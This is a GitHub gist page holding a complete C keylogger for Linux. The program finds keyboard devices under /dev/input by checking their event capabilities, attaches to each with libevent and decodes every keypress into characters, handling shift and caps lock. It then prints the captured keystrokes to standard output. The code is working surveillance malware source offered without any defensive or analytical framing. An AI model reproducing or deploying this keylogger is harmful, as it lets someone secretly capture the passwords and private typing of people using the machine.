Skip to content

Instantly share code, notes, and snippets.

@errzey
Created July 4, 2010 06:11
Show Gist options
  • Save errzey/463205 to your computer and use it in GitHub Desktop.
Save errzey/463205 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <linux/input.h>
#include <event.h>
typedef struct {
uint8_t shift_mod;
uint8_t caps_mod;
struct event event;
} keyboard_t;
const char *keyboard_dir = "/dev/input";
const char lowercase_map[] = {
0, 0, '1', '2', '3', '4', '5', '6', '7', '8', '9', '0',
'-', '=', '\b', '\t', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i',
'o', 'p', '[', ']', '\n', 0, 'a', 's', 'd', 'f', 'g', 'h',
'j', 'k', 'l', ';', '\'', '\n', 0, '\\', 'z', 'x', 'c', 'v',
'b', 'n', 'm', ',', '.', '/', 0, '*', 0, ' ', 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '\r'
};
const char uppercase_map[] = {
0, 0, '!', '@', '#', '$', '%', '^', '&', '*', '(', ')',
'_', '+', '\b', '\t', 'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I',
'O', 'P', '{', '}', '\n', 0, 'A', 'S', 'D', 'F', 'G', 'H',
'J', 'K', 'L', ':', '"', '\n', 0, '\\', 'Z', 'X', 'C', 'V',
'B', 'N', 'M', '<', '>', '?', 0, '*', 0, ' ', 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '\r'
};
unsigned char
is_keyboard(const char *file)
{
int fd;
uint8_t bitmask;
fd = open(file, O_RDONLY);
if (fd < 0) {
return(0);
}
if (ioctl(fd, EVIOCGBIT(0, EV_MAX), &bitmask) < 0) {
return(0);
}
#if DEBUG
fprintf(stderr, "[*] %s device bitmask: %X\n", file, bitmask);
#endif
/* make sure that the device supports EV_SYN and EV_KEY */
if (!(bitmask & (1 << EV_SYN))) {
return(0);
}
if (!(bitmask & (1 << EV_KEY))) {
return(0);
}
/* make sure the device does not support EV_REL */
if ((bitmask & (1 << EV_REL))) {
return(0);
}
/* make sure the device do not support EV_ABS */
if ((bitmask & (1 << EV_ABS))) {
return(0);
}
return(1);
}
const char **
keylogger_find_keyboards(void)
{
const char **keyboards;
DIR *dip = NULL;
struct dirent *dit = NULL;
int i = 0;
dip = opendir(keyboard_dir);
if (dip == NULL) {
return(NULL);
}
keyboards = calloc(sizeof(char *), 1024);
if (keyboards == NULL) {
return(NULL);
}
while ((dit = readdir(dip)) != NULL) {
size_t tmplen = 0;
char *tmpbuf = NULL;
/* make sure it's a character device */
if (dit->d_type != DT_CHR) {
continue;
}
tmplen = strlen(keyboard_dir) + strlen(dit->d_name) + 2;
tmpbuf = alloca(tmplen);
if (tmpbuf == NULL) {
return (NULL);
}
snprintf(tmpbuf, tmplen, "%s/%s", keyboard_dir, dit->d_name);
if (is_keyboard(tmpbuf)) {
fprintf(stderr, "[*] Found likely keyboard: %s\n", tmpbuf);
keyboards[i++] = strdup(tmpbuf);
if (i >= 1024) {
break;
}
}
}
return (keyboards);
} /* keylogger_find_keyboards */
void
process_keystroke(int fd, short which, keyboard_t *kb)
{
struct input_event input_event;
ssize_t bytes_read;
char key;
bytes_read = read(fd, &input_event, sizeof(struct input_event));
if (bytes_read != sizeof(struct input_event)) {
fprintf(stderr, "[*] error reading device, ABORTING!\n");
return;
}
#if DEBUG
if (input_event.type == 0) {
return;
}
if (input_event.type != EV_KEY) {
return;
}
fprintf(stdout, "type:%x code:%x value:%x\n", input_event.type, input_event.code, input_event.value);
#endif
/* make sure this is a keypress of some sort */
if (input_event.type != EV_KEY) {
return;
}
/* look for some things that may modify the next stroke */
switch (input_event.code) {
case KEY_RIGHTSHIFT:
case KEY_LEFTSHIFT:
kb->shift_mod = input_event.value;
return;
case KEY_RIGHTCTRL:
case KEY_LEFTCTRL:
/* I don't really care about ctrl chars */
return;
case KEY_CAPSLOCK:
if (input_event.value == 1) {
if (kb->caps_mod) {
kb->caps_mod = 0;
} else {
kb->caps_mod = 1;
}
}
return;
}
if (input_event.value != 1) {
return;
}
if (input_event.code > sizeof(lowercase_map)) {
return;
}
if (kb->shift_mod) {
key = uppercase_map[input_event.code];
if (kb->caps_mod) {
key = tolower(key);
}
} else {
key = lowercase_map[input_event.code];
if (kb->caps_mod) {
key = toupper(key);
}
}
#ifndef DEBUG
fprintf(stdout, "%c", key ? key : 0);
fflush(stdout);
#endif
return;
} /* process_keystroke */
int
keyboard_watcher_init(const char **keyboards)
{
const char *keyboard = NULL;
while ((keyboard = *(keyboards++)) != NULL) {
int fd;
keyboard_t *kb;
fd = open(keyboard, O_RDONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(stderr, "[*] Unable to attach to %s: %s\n",
keyboard, strerror(errno));
continue;
}
kb = calloc(sizeof(keyboard_t), 1);
if (kb == NULL) {
return(-1);
}
event_set(&kb->event, fd, EV_READ | EV_PERSIST,
(void *)process_keystroke, (void *)kb);
event_add(&kb->event, 0);
}
return(0);
}
int main(int argc, char **argv)
{
const char **keyboards;
keyboards = keylogger_find_keyboards();
if (keyboards == NULL) {
fprintf(stderr, "error finding keyboards: %s\n",
strerror(errno));
exit(1);
}
event_init();
if (keyboard_watcher_init(keyboards) < 0) {
fprintf(stderr, "error setting up watcher: %s\n",
strerror(errno));
return (1);
}
event_loop(0);
return (0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment